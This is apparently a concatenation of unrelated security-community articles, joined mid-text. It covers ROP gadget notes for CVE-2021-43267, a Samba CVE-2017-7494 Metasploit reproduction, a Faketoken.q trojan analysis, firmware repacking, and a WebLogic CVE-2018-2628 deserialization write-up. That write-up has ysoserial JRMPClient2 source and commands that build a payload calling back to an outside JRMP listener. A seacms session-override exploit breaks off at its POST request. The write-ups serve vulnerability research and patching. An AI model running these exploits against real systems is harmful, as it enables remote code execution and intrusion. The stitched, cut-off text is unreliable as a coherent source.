EXPORT_SYMBOL_GPL(regcache_mark_dirty);
// (4) push rdi/rbp/r15 pop rsp 不能破坏tty_struct前8字节(会导致ioctl调用失败)，所以pop rsp之后再pop两次
john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rdi" | grep "pop rsp"
0xffffffff8165f1aa: push rdi; add byte ptr [rdi], cl; or ebx, dword ptr [rbx + 0x41]; pop rsp; ret;
0xffffffff814a353a: push rdi; add ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rbp" | grep "pop rsp"
0xffffffff81131122: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; pop r13; ret;
0xffffffff81aa41e4: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; ret;
0xffffffff819ea4df: push rbp; cmp byte ptr [rbp + 0x41], bl; pop rsp; pop r13; pop r14; ret;
0xffffffff810406a6: push rbp; or byte ptr [rbp + 0x41], bl; pop rsp; ret;
// (4) 的问题是找不到 mov cr4, xxx 这个gadget, 从 v5.3.1开始 就不能使用 native_write_cr4() 来修改 cr4 了
// v5.14.15
static const unsigned long cr4_pinned_mask =
X86_CR4_SMEP | X86_CR4_SMAP | X86_CR4_UMIP | X86_CR4_FSGSBASE;
void native_write_cr4(unsigned long val)
{
unsigned long bits_changed = 0;
set_register:
asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");
if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val = (val & ~cr4_pinned_mask) | cr4_pinned_bits;
goto set_register;
}
/* Warn after we've corrected the changed bits. */
WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}
// v5.2.21
static inline void native_write_cr4(unsigned long val)
{
asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}
* * *
## 参考
[Exploiting CVE-2021-43267](https://haxx.in/posts/pwning-tipc/) — 漏洞利用者
[NVD-CVE-2021-43267-detail](https://nvd.nist.gov/vuln/detail/CVE-2021-43267)
[CVE-2021-43267: Linux TIPC模块任意代码执行漏洞](https://www.4hou.com/posts/K96Y)
[CVE-2021-43267: Remote Linux Kernel Heap Overflow | TIPC Module Allows
Arbitrary Code Execution](https://www.sentinelone.com/labs/tipc-remote-linux-kernel-heap-overflow-allows-arbitrary-code-execution/) — 漏洞发现者
[Transparent Inter Process Communication
Protocol](http://tipc.sourceforge.net/protocol.html) — TIPC协议介绍 | 社区文章 |
作者： **天融信阿尔法实验室 李喆 李闪 姜利晓**
### 一、漏洞描述
Samba 是一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件。这个漏洞使得 Samba
客户端可以主动上传共享库到 Samba 服务器同时加载并执行该动态库导出函数。
攻击者利用漏洞可以进行远程代码执行，具体执行条件如下：
1. 系统开启了文件/打印机共享端口445
2. 共享文件夹拥有写入权限
3. 恶意攻击者需猜解 Samba 服务端共享目录的物理路径
满足以上条件时，由于 Samba 能够为选定的目录创建网络共享，当恶意的客户端连接上一个可写的共享目录时，通过上传恶意的共享库文件，触发漏洞使 Samba
服务端加载并执行它，从而实现了远程代码执行。根据服务器的配置情况，恶意代码还有可能以 root 权限执行。
漏洞编号：CVE-2017-7494
危害评级：高危
影响范围：所有介于 Samba 3.5.0 ~ 4.6.4 之间的版本。其中（4.6.4/4.5.10/4.4.14 版本）不受影响。
### 二、漏洞复现
通过一个可写账号，上传恶意共享库文件，触发恶意共享库文件实现远程命令执行。
安装 Samba 按照以下要求安装即可
Samba Version < 4.6.4 Samba Version < 4.5.10 Samba Version < 4.4.14
配置 Samba 添加下面这些即可，如果之前 conf 文件中包含的注释即可
workgroup = WORKGROUP
netbios name = LinuxSir05
server string = Linux Samba Server TestServer
#security = share
[models]
path = /tmp
available = yes
browsable = yes
writable = yes
create mask = 0777
write list = debian
guest ok = yes
如下图所示：
然后重新加载 `/etc/init.d/samba reload`
最后启动服务 `/etc/init.d/samba restart`
配置 msf `Use exploit/linux/samba/is_known_pipename`
Set target 0 Set RHOST localhost Exploit
最终结果如图所示：
### 三、漏洞原理分析
下载版本4.6.3 进行静态分析漏洞原理： 漏洞通过一个具有可以权限的 Samba 账号上传一个恶意共享动态库上去，并触发恶意功能。
我们这里阐述的是如何加载的恶意动态库。 漏洞触发位置：
在这里可以看到 pipename ，这个是管道名，需要利用这个管道名是恶意共享库so文件参数，比如`/tmp/xxx.so` , 这个参数在传递进
`smb_probe_module` 里，跟进下这个函数：
又把参数传递进入了`do_smb_load_module()`函数里，再跟进
可以看到如果管道名字存在/, 会进入else 里调用`load_module()`函数，把管道名传递进来，再继续跟进：
可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件，接着把句柄给了 dlsym
加载`SAMBA\_INIT\_MODULE`,也就是说恶意共享库的功能要写入到 Samba 初始化函数里才能被加载，这样就触发了恶意构造的函数功能呢。
### 四、修复建议
**官方补丁:**
官方已经发布安全更新包，用户可以通过以下2种方案进行安全更新操作。
1. 通过源码安装的 Samba 使用者，从 Samba 官方下载补丁包或者安装最新版 Samba [安全补丁下载地址](https://www.samba.org/samba/history/security.html)
2. 使用二进制分发包（RPM等方式）的 Samba 使用者通过`yum，apt-get update`等命令进行安全更新操作。
**临时缓解策略：**
1. 修改 Samba 文件系统中可写文件共享目录的安全属性，使用 “noexec” 选项。 注：noexec 选项指明在该文件系统上不允许二进制文件或脚本的执行
2. 修改 Samba 配置文件`smb.conf`，在 [global] 节中增加如下信息 `“nt pipe support = no”`。 修改完毕重启 Samba 服务。
* * * | 社区文章 |
# 【技术分享】假令牌定真出租：Faketoken.q木马新变种分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/booking-a-taxi-for-faketoken/81457/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[trip1e_chee5e](http://bobao.360.cn/member/contribute?uid=2937224120)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
恶意程序Trojan-Banker.AndroidOS.Faketoken已经出现超过一年的时间了，在这一年多的时间里，它已经从最开始的mTAN
codes（双因素认证）拦截木马进化到了加密器。随着该程序新变种的作者不断改进，它的影响范围也越来越大。有些变种已经覆盖超过了2000款的商用APP。在该程序的最新版本中，我们检测到了一种新的攻击方式——定出租并支付道路交通安全委员会开具的罚单！
就在不久之前——感谢来自一家大型俄罗斯银行的同事们——我们检测到了一个新的木马样例“Faketoken.q”，它有很多有趣的特性。
****
**感染**
我们目前还无法重建导致感染的整个事件链，不过程序的图标显示出，恶意程序是通过群发带有图片下载链接的短信传播的。
****
**木马结构**
木马程序经过检测分为两部分，第一部分是经过混淆处理的程序释放器（Trojan-Banker.AndroidOS.Fyec.az）为了防止被检测，其中的文件都在服务器端做了混淆处理，粗略看的话，根本看不出什么。
然而，这肯定是能正常运行的正确的代码。它会对恶意程序的第二部分进行解密并运行。这是现在最流行的方式，如今已经没多少不经过处理的木马了。
恶意程序的第二部分是DAT格式的文件，它是木马程序的核心功能文件，当然数据已经被加密了。 对数据进行解密后，会得到可读性还不错的代码。
在木马程序初始化后，它会隐藏自己的图标并监视全部通信和用户启动的程序。每当打一个电话/接到一个电话，它就会把它记录下来并发给攻击者。
Faketoken.q的作者对原恶意程序的覆盖面进行了保留与简化，目前木马能够监控几个银行和一些日常应用比如Android Pay，Google Play
Store以及支付交通罚单，订机票，宾馆，出粗车的应用。
每当用户启动木马监控的程序时，Faketoken.q就会迅速用假界面替换掉真界面，并且假界面与真界面一模一样，诱骗用户输入银行卡账号密码。
这些被攻击的应用为了支付方便通常都绑定了银行卡，有些甚至是强制绑定，这些应用的安装量达到了几百万的规模，Faketoken也因此能造成巨大的危害。
那么，接下来问题就出现了：当诈骗者要完成一次诈骗支付时，他们怎么得到银行发到用户手机上的验证码呢？攻击者通过将用户收到的每一条短信转发到C&C服务器上解决了这个问题。
我们目前认为手中的样本是还未完成的程序，它的假界面做的还不够好，不足以让用户受到欺骗。
现如今大量的App使用屏幕覆盖技术（Windows Managers，Messengers等），这可能会被攻击者利用，并且防范起来非常复杂。
直到现在，我们也没有收到关于Faketoken大量攻击的报告，也就是说，这目前只是一个测试版。通过木马中的俄语界面以及代码中的俄语，我们推测Faketoken.q主要针对的是俄罗斯及独联体国家。
**防范**
为了防范Faketoken以及类似的恶意程序，应坚决不安装第三方的安卓应用，使用手机杀毒软件和应用锁也会有一些帮助。
**MD5**
CF401E5D21DE36FF583B416FA06231D5 | 社区文章 |
# 前言
一般来说要解包固件都很简单，但是要对固件进行修改并重新刷回设备就有一定的难度了。本文研究了几种修改固件并刷回设备的方法。
# 手动打包固件
拿dcs921l的固件来举例，先用binwalk分析下它的结构：
结构很明显，U-Boot加上uImage头加上lzma打包的内核系统。简单的结构图如下：
ok，结构分析完了，现在可以解包固件做点小修改再进行打包了。解包一条命令搞定：
binwalk -Me dcs932l_v1.14.04.bin
进入文件系统目录，根据自己需要修改文件，打包成cpio压缩文件：
find . | cpio -H newc -o > ../initrd.cpio
再用lzma进行压缩，可在[这里](https://sourceforge.net/projects/sevenzip/files/LZMA%20SDK/)下载对应版本的lzma
sdk，注意原固件的lzma压缩指定了字典大小，我们需要使用和它一致的字典大小，用`-d`参数指定字典大小：
./lzma e initrd.cpio initrd.cpio.lzma -d20
截取内核文件系统前的数据再拼接到我们的文件系统前：
dd if=50040 of=kernelHead bs=1 count=4038656
cp ./kernelHead ./kernel
cat initrd.cpio.lzma >> kernel
再对内核进行压缩：
./lzma e ./kernel ./kernel.lzma -d25
截取uImage头拼接到内核压缩文件前：
dd if=dcs of=uImageHeader bs=1 count=64
cp uImageHeader uImage
cat kernel.lzma >> uImage
注意uImage头这里是有CRC验证的，我们需要自己计算一下CRC校验和并修改uImage头的信息。WinHex打开，下图圈起来的几位分别是header
CRC，image大小和data CRC：
先计算data CRC，选中uImage头之后的部分，在Tools->Compute Hash中选择CRC32进行计算：
把data CRC修改为我们计算的值，同时填上image大小的值：
之后计算header CRC的值，把原来的值都用00来覆盖再计算就行了：
当然，也有不需要手动改CRC的方法。在ubuntu下安装u-boot-tools，再用mkimage命令就可以自动生成uImage头:
sudo apt-get install u-boot-tools
mkimage -A MIPS -O linux -T kernel -C lzma -a 0x80000000 -e 0x803B8000 -n "Linux Kernel Image" -d kernel.lzma uImage
mkimage各参数信息如下：
-A ==> set architecture to 'arch' // 用于指定CPU类型
-O ==> set operating system to 'os' // 用于指定操作系统
-T ==> set image type to 'type' // 用于指定image类型
-C ==> set compression type 'comp' // 指定压缩类型
-a ==> set load address to 'addr' (hex) // 指定image的加载地址
-e ==> set entry point to 'ep' (hex) // 指定内核的入口地址
-n ==> set image name to 'name' // image在头结构中的命名
-d ==> use image data from 'datafile' // 无头信息的image文件名
-x ==> set XIP (execute in place) // 设置执行位置
如果你能通过TTL进设备U-Boot的话固件打包到这一步就行了，如果要通过web界面更新固件就需要再加上前面的一段U-Boot了，这里不再赘述。
# 烧录固件
启动设备，在串行界面可以看到打印如下信息：
U-Boot 1.1.3
Board: Ralink APSoC DRAM: 32 MB
relocate_code Pointer at: 81fac000
config usb..
Set info->start[0]=BF000000
flash_protect ON: from 0xBF000000 to 0xBF021767
flash_protect ON: from 0xBF030000 to 0xBF030FFF
*** Warning - bad CRC, using default environment
============================================
Ralink UBoot Version: 3.5.2.0
--------------------------------------------
ASIC 3052_MP2 (Port5<->None)
DRAM component: 256 Mbits SDR
DRAM bus: 16 bit
Total memory: 32 MBytes
Flash component: NOR Flash
============================================
icache: sets:256, ways:4, linesz:32 ,total:32768
dcache: sets:128, ways:4, linesz:32 ,total:16384
##### The CPU freq = 320 MHZ ####
estimate memory size =32 Mbytes
Signature: DCS-930 932L Release 1.11 (2011-05-31)
Please choose the operation:
1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
4: Entr boot command line interface.
7: Load Boot Loader code then write to Flash via Serial.
9: Load Boot Loader code then write to Flash via TFTP.
这里我们选择1，通过TFTP写入系统固件到内存中，不要刷到flash里，不然刷错固件就凉了。搭建TFTP服务器的过程这里就不赘述了。
1: System Load Linux to SDRAM via TFTP.
Please Input new ones /or Ctrl-C to discard
Input device IP (192.168.1.1) ==:192.168.0.100
Input server IP (192.168.1.100) ==:192.168.0.103
Input Linux Kernel filename () ==:uImage
设备从tftp服务器上下载完固件后就会自动启动系统了：
# openwrt固件编译
要向设备中刷入openwrt固件需要先去[openwrt官网](https://openwrt.org/toh/start)查找是否支持此设备。你可以直接在官网下载支持设备的固件，也可以自己动手编译。
下载源码包
git clone https://github.com/openwrt/openwrt
安装相应的依赖：
sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf gettext texinfo unzip zip unrar p7zip p7zip-rar p7zip-full sharutils subversion libncurses5-dev ncurses-term zlib1g-dev gawk git-core libssl-dev
升级安装扩展软件：
./scripts/feeds update -a
./scripts/feeds install -a
make package/symlinks
使用默认编译环境：
make defconfig
配置：
make menuconfig
选择相应的目标平台，设备芯片型号和设备具体型号等：
编译，Openwrt会帮你把需要的包下载安装好，并生成对应的固件包，一般需要4-5个小时：
make V=99
编译完成后可在./bin/targets/ramips/rt305x/下找到编译好的固件文件，在./build_dir/target-mipsel_24kc_musl/root-ramips目录下有配置好的文件目录系统。
通过u-boot成功刷入设备：
# Ralink SDK固件配置编译
dcs932l使用的是Ralink RT3052的主控，我们可以通过编译Ralink SDK来定制自己的固件。
Ralink SDK开发手册以及源码包下载：<https://pan.baidu.com/s/1VenLy-YM2f-sTOy-aLkJSw> （y9u0）
## Tool chain安装配置
复制buildroot源码包到/opt目录下，并解压
cp RT288x_SDK/toolchain/buildroot-gcc342.tar.bz2 /opt
tar jxvf buildroot-gcc342.tar.bz2
编译安装LZMA
tar xvfz RT288x_SDK/toolchain/lzma-4.32.7.tar.gz
cd RT288x_SDK/toolchain/lzma-4.32.7
./configure
make
make install
编译安装MKSQUASHFS
cd RT288x_SDK/toolchain/mksquash_lzma-3.2
make
make install
另外最好将本机的make版本换成低版本的，不然会出现make无法识别旧版本内核的Makefile语句的问题（当然也可以直接一个个改Makefile，也就那么几句错误）
## source配置编译
make menuconfig
Select the Product you wish to target-->选择对应的硬件芯片型号：
Kernel/Library/Defaults Selection
--->选择是否配置Kernel，library，busybox，头一次编译可以都选上一次性设置完：
### Kernel配置
下面是我的设备需要配置的选项，仅作为参考。
Machine selection --->
System type--> (选择板子型号)
DRAM Size (32M) ---> （选择内存大小）
Kernel NVRAM （启用NVRAM）
Compress ramdisk by lzma instead of gzip (用lzma打包镜像文件)
General setup --->
Kernel->user space relay support (formerly relayfs) (启用内核空间到用户空间的relay支持)
Block layer --->
Enable the block layer （启用通用块层）
IO Schedulers --->
Default I/O scheduler (No-op) ---> （默认I/O调度器为No-op *适合闪存设备和嵌入式系统的I/O调度器）
No-op
Networking --->
Networking options --->
Packet socket
Unix domain sockets（同一主机进程间通信）
TCP/IP networking
Generic IEEE 802.11 Networking Stack（无线网络支持）
IEEE 802.11 WEP encryption (802.1x)
Device Drivers --->
Network device support --->
Network device support (启用网络设备支持)
Character devices --->
Ralink GPIO Support
Ralink GPIO LED Support
USB support --->
Support for Host-side USB
USB device filesystem
File systems --->
Kernel automounter support (内核自动挂载支持)
Kernel automounter version 4 support (also supports v3)
Filesystem in Userspace support
Pseudo filesystems --->
/proc file system support
/proc/kcore support
Sysctl support (/proc/sys)
sysfs file system support
### Library配置
Library Configuration ---> （选择需要的Lib库）
Network Applications ---> (选择需要的网络相关软件)
storage(enable chmod, fdisk in busybox)
proftpd (FTP Server)
iptables
openssl
pppd
l2tp client
pptp
uvc_stream
Miscellaneous Applications --->
busybox
mtd write
Proprietary Application --->
NVRAM
GPIO
### 其余配置
Busybox Settings --->
Build Options --->
Build BusyBox as a static binary (no shared libs) （编译成静态文件）
其他的根据需要进行选择就行了。
uClibc Configuration 和 uClibc++ Configuration基本选默认的就行。
### 编译
make dep
make
编译完成后可在source/images目录下找到root_uImage镜像文件，在source/romfs下存在文件系统。
## Ralink SDK文件系统修改
光编译好固件可不能满足我们的要求，还要能修改启动脚本，添加我们自己的文件才行。
打开source/vendors/Ralink/RT3052目录下的Makefile可以看到它创建了文件目录系统，并把一些需要的文件拷进去了：
那么我们就可以通过修改Makefile和目录下的文件来编辑自己的文件系统。可根据需要修改下面几个文件:
rcS: 启动脚本
inittab: init进程配置文件
motd: Ralink图标
fstab：文件系统信息
RT2860_default_vlan：nvram默认配置文件
在ROMFS_DIRS后添加目录，在$(ROMFSINST)
/etc_ro/motd后添加文件（注意这里的文件需要放在source/vendors/Ralink/RT3052目录下）：
查看source/user/rt2880_app/scripts目录下的Makefile可以发现它配置了/sbin目录下的可执行文件和脚本文件：
要添加脚本只需复制到source/user/rt2880_app/scripts目录下即可。
## 启动脚本配置
下面我的启动脚本配置，并进行了注释，仅作为参考：
#!/bin/sh
mount -a #挂载所有的文件系统，在fstab文件中有配置
mkdir -p /var/run
cat /etc_ro/motd
# Linux 2.6 uses udev instead of devfs, we have to create static dev node by myself
# 创建静态dev节点
mounted=`mount | grep mdev | wc -l`
if [ $mounted -eq 0 ]; then
mount -t ramfs mdev /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mdev -s
fi
# 创建设备文件
mknod /dev/spiS0 c 217 0
mknod /dev/i2cM0 c 218 0
mknod /dev/rdm0 c 254 0
mknod /dev/flash0 c 200 0
mknod /dev/swnat0 c 210 0
mknod /dev/hwnat0 c 220 0
mknod /dev/acl0 c 230 0
mknod /dev/ac0 c 240 0
mknod /dev/mtr0 c 250 0
mknod /dev/nvram c 251 0
mknod /dev/gpio c 252 0
mknod /dev/PCM c 233 0
mknod /dev/I2S c 234 0
echo "# <device regex> <uid>:<gid> <octal permissions> [<@|$|*> <command>]" > /etc/mdev.conf
echo "# The special characters have the meaning:" >> /etc/mdev.conf
echo "# @ Run after creating the device." >> /etc/mdev.conf
echo "# $ Run before removing the device." >> /etc/mdev.conf
echo "# * Run both after creating and before removing the device." >> /etc/mdev.conf
echo "sd[a-z][1-9] 0:0 0660 */sbin/automount.sh \$MDEV" >> /etc/mdev.conf
#enable usb hot-plug feature
echo "/sbin/mdev" > /proc/sys/kernel/hotplug
# 启动nvram_daemon进程
nvram_daemon&
# 从nvram配置文件中获取用户名和密码并设置系统用户
login=`nvram_get 2860 Login`
pass=`nvram_get 2860 Password`
echo "$login::0:0:Adminstrator:/:/bin/sh" > /etc/passwd
echo "$login:x:0:$login" > /etc/group
chpasswd.sh $login $pass
# audio
pcmcmd -s &
# video
uvc_stream -b &
sleep 2
# Set RT3050 to dump switch mode (restore to no VLAN partition)
switch reg w 14 5555
switch reg w 40 1001
switch reg w 44 1001
switch reg w 48 1001
switch reg w 4c 1
switch reg w 50 2001
switch reg w 70 ffffffff
switch reg w 98 7f7f
switch reg w e4 7f
lan_if="br0"
# lo interface up -- mydlink need it
ifconfig lo up
# setup bridge, lan and wlan interface, and fast forwarding time (setfd, setmaxage)
ifconfig eth2 0.0.0.0
ifconfig ra0 0.0.0.0
brctl addbr br0
brctl addif br0 ra0
brctl addif br0 eth2
brctl setfd br0 1
brctl setmaxage br0 1
# setup wlan enable/disable
gpio wlan 1
# 配置ip地址
ip=`nvram_get 2860 wan_ipaddr`
nm=`nvram_get 2860 wan_netmask`
gw=`nvram_get 2860 wan_gateway`
ifconfig $lan_if $ip netmask $nm
route del default
gpio gw 0.0.0.0
if [ "$gw" == "0.0.0.0" ]; then
gw=""
fi
if [ "$gw" != "" ]; then
route add default gw $gw
gpio gw $gw
else
route add default gw $ip
fi
# 后台启动alphapd服务
web.sh
sleep 3
# 后台运行调度器
killall -q schedule
schedule &
#for telnet debugging
telnetd
#for syslogd
mkdir -p /var/log | 社区文章 |
**Author：Badcode@Knownsec 404 Team**
**Date: April 25, 2018**
**Chinese Version:<https://paper.seebug.org/584/>**
## Introduction
On April 18, 2018, Oracle officially released the April Critical Patch Update
(CPU), which fixed a high-risk WebLogic deserialization vulnerability
CVE-2018-2628. An attacker can remotely attack a vulnerable WebLogic component
through the T3 protocol without authorization, and can obtain all permissions
of the target system.
## Impact
* Weblogic 10.3.6.0
* Weblogic 12.1.3.0
* Weblogic 12.2.1.2
* Weblogic 12.2.1.3
### History
Here is a brief description of several Weblogic deserialization
vulnerabilities that are publicly available.
#### CVE-2015-4852
On November 6, 2015, a blog published by @breenmachine of the FoxGlove
Security showed how to use the Java deserialization and Apache Commons
Collections to attack the latest versions of well-known Java applications
including WebLogic, WebSphere, JBoss, Jenkins, OpenNMS to enable remote code
execution. CVE-2015-4852 uses the Commons Collections library in Weblogic for
remote code execution. I checked the patch for CVE-2015-4852
(p21984589_1036_Generic) and found that Weblogic had used the blacklist to fix
this vulnerability.
However, this type of repair was very passive and there was a risk of being
bypassed. As long as the deserialization class is available and not outside
the blacklist, the previous protection will be broken and the system will be
attacked. Subsequent vulnerabilities also proved this.
#### CVE-2016-0638
Weblogic deserialization has three key points, and the blacklist
`ClassFilter.class` also includes them.
* `weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream`
* `weblogic.rjvm.MsgAbbrevInputStream.class`
* `weblogic.iiop.Utils.class`
It has been found that the `readExternal()` of
`weblogic.jms.common.StreamMessageImpl` can also be deserialized, and this is
not restricted by the blacklist, so the previous patch can be bypassed.
#### CVE-2016-3510
The principle is to encapsulate the deserialized object into
`weblogic.corba.utils.MarshalledObject` and then serialize `MarshalledObject`
to generate the payload bytecode. While deserializing， `MarshalledObject` is
not in the WebLogic blacklist, it can be deserialized normally. At the same
time, the `MarshalledObject` object calls `readObject` and deserializes the
encapsulated serialized object of the `MarshalledObject`. This is how it
passes the blacklist check.
#### CVE-2017-3248
JRMP, the Java Remote MessagingProtocol, is a Java technology-specific
protocol for finding and referencing remote objects. This is the line layer
protocol that runs under RMI and over TCP/IP.
This vulnerability uses the flaw of the RMI mechanism to achieve the purpose
of executing any deserialized payload through the JRMP protocol. Using
ysoserial's `JRMPListener` will serialize a `RemoteObjectInvocationHandler`
that uses `UnicastRef` to establish a remote TCP connection to get the `RMI
registry`. This connection uses the JRMP protocol, so the client will
deserialize everything that the server responds, enabling unauthenticated
remote code execution.
### CVE-2018-2628 Vulnerability Analysis
First, let's look at the following patch of CVE-2017-3248
(p24667634_1036_Generic). We can see
`weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class` has a
`resolveProxyClass`. It just judges the RMI interface type, to determine
whether the RMI interface is `java.rmi.registry.Registry`. If yes, it will
throw an error.
Here, you can bypass this patch by changing the RMI interface type. You can
use `java.rmi.activation.Activator` instead of `java.rmi.registry.Registry` to
generate a payload, which can bypass this judgment.
Write a `JRMPClient2` in the same way as `JRMPClient` and recompile.
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
To generate payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2
You can compare the payload generated by `JRMPClient` and `JRMPClient2` below.
Except for the RMI interface, everything else is the same.
`JRMPListener` opens
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
The Weblogic version I tested was `10.3.6.0.170117`, which fixes the
CVE-2017-3248 vulnerability. In my local environment, the payload of
`CommonsCollections` has expired. Weblogic's `commons-collections.jar` version
has been upgraded, so my payload here is `Jdk7u21` (this payload only works if
the JRE version is less than or equal to 1.7u21). In Weblogic where the
`commons-collections.jar` version is not upgraded, you can use the
`CommonsCollections` payload.
Send p_client2 by using the t3 protocol script, you can see that the
`JRMPListener` has a request, and the client command has also been executed
successfully.
In contrast, the p_client generated by `JRMPClient` is also sent, and you can
see the message `Unauthorized proxy deserialization`, which is the error
thrown by the blacklist interception.
It is clear `java.rmi.activation.Activator` bypassed the patch of
CVE-2017-3248.
### Another Way to Bypass the Patch
This method was discovered when I tried the payload when recurring the
vulnerability. The way to bypass it was related to CVE-2016-0638.
The `StreamMessageImpl` point does not have a `resolveProxyClass` check when
deserializing. So you can use `StreamMessageImpl` to serialize
`RemoteObjectInvocationHandler` to bypass the `resolveProxyClass` function.
Equivalent to using the CVE-2016-0638 plus the CVE-2017-3248 payload to bypass
the patch.
The payloadObject generated by `JRMPClient` is encapsulated with
`StreamMessageImpl` to generate a new payload, p_stream.
public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
Send this with the script, and you can see that the command was successfully
executed.
### CVE-2018-2628 Patch Analysis
While I was comparing these patches (p27395085_1036_Generic), I found that the
`WeblogicFilterConfig.class` blacklist had a `sun.rmi.server.UnicastRef`.
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
But according to my actual test, the command can still be executed
successfully, and it seems that the patch does not work.
### Summary
In general, the Weblogic deserialization vulnerability is endless repairing -bypassing - repairing - bypassing ... **the most exciting is always the
next**!
### Reference
* [Ysoserial](https://github.com/frohoff/ysoserial)
* [CVE-2018-2628 Simple Recurrence and Analysis](http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/)
* [WebLogic deserialization vulnerability reappeared. CVE-2017-3248 successfully bypassed the previous official patches.](https://paper.seebug.org/333/)
* [Oracle Critical Patch Update Advisory - April 2018](http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html)
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
前几天看到朋友在 **Freebuf** 发的 [seacms
9.92全局变量覆盖从越权到RCE](https://www.freebuf.com/articles/web/210902.html)
文章，其实这个地方在1个月前审计另外一个洞的时候也发现了，这里简单记录下。鉴于漏洞已经修复，且网络上已公开细节，这里便分享出来。
这个漏洞，主要是利用了覆盖全局变量，然后越权使用后台功能进行 **getshell** 。有点不好利用的是需要知道网站的后台路径，而 **seacms**
的后台路径是随机命名的。
**seacms** 中多数程序在开头都会包含 **include/common.php** 文件。该文件主要会做两件事。先将
**$_GET、$_POST、$_COOKIE** 注册成全局变量。（下图对应文件位置：include/filter.inc.php）
然后再检查这里是否存在非法变量名。不觉的这里有问题吗？正常逻辑应该是先检查变量名是否合法，然后再注册变量。还有一个问题就是，这里漏过滤了
**_SESSION、_FILES** 。（下图对应文件位置：include/common.php）
由于这个错误的逻辑，导致我们只要找到使用 **session_start** 并包含 **include/common.php** 文件的地方，就可以覆盖
**session** 。接下来，我们直接看程序对 **admin** 用户身份的识别，身份验证代码如下。
可以看到，代码主要是对 **$_SESSION['sea_admin_id']、$_SESSION['hashstr']**
两个变量进行了验证。前一个变量很好覆盖，但是后一个变量是由数据库名、账号、密码拼接的md5值，不好猜测。我们要想办法寻找泄露这个值的地方，或者寻找可以直接利用这个值的地方。
很巧的是， **seacms** 提供了普通用户注册的功能。当普通用户登录的时候，程序就会给我们设置 **$_SESSION['hashstr']**
，具体代码如下。（下图对应文件位置：login.php）
所以最后的 **EXP** 如下，其中 **_SESSION[sea_ckstr]** 为小写验证码（必需项）。
POST /seacms992/login.php HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close
Content-Length: 97
